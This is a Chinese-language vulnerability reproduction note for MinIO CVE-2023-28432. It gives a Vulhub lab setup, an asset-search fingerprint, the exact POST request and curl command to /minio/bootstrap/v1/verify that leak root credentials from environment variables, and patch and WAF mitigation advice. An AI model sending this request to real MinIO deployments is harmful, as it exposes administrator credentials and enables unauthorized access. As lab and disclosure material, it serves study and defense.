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79 lines
2.2 KiB
Markdown
79 lines
2.2 KiB
Markdown
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# MinIO 集群模式信息泄露漏洞 CVE-2023-28432
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## 漏洞描述
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MinIO是一个开源对象存储系统。
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在其`RELEASE.2023-03-20T20-16-18Z`版本（不含）以前，集群模式部署下存在一处信息泄露漏洞，攻击者可以通过发送一个POST数据包获取进程所有的环境变量，其中就包含账号密码`MINIO_ROOT_USER`和`MINIO_ROOT_PASSWORD`。
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参考链接：
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- https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q
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- https://mp.weixin.qq.com/s/GNhQLuzD8up3VcBRIinmgQ
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## 漏洞影响
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```
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MinIO <= RELEASE.2023-03-20T20-16-18Z
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```
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## 网络测绘
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```
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app="minio"
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```
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## 环境搭建
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Vulhub执行如下命令启动一个MinIO集群，其中包含3个以集群模式运行的服务：
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```
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docker-compose up -d
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```
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集群启动后，访问`http://your-ip:9001`可以查看Web管理页面，访问`http://your-ip:9000`是API服务。
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## 漏洞复现
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这个漏洞存在于API节点`http://your-ip:9000/minio/bootstrap/v1/verify`上，发送如下数据包即可查看泄露的环境变量：
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```
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POST /minio/bootstrap/v1/verify HTTP/1.1
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Host: your-ip:9000
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en-US;q=0.9,en;q=0.8
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
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Connection: close
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Cache-Control: max-age=0
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 0
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```
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也可以直接 curl：
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```
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curl -XPOST http://your-ip:9000/minio/bootstrap/v1/verify
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```
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可见，其中包含`MINIO_ROOT_USER (accessKey)`和`MINIO_ROOT_PASSWORD (secretKey)`。使用这个账号密码，即可成功登录管理后台：
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```
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MINIO_ROOT_USER minioadmin
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MINIO_ROOT_PASSWORD minioadmin-vulhub
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```
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## 漏洞修复
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目前官方已发布安全修复版本，受影响用户可以升级到RELEASE.2023-03-20T20-16-18Z 及以上版本。
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https://github.com/minio/minio/releases/tag/RELEASE.2023-03-20T20-16-18Z
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临时修复方案，在 waf/ips 等安全产品上配置策略，拒绝所有 post 到 `/minio/bootstrap/v1/verify` 流量。
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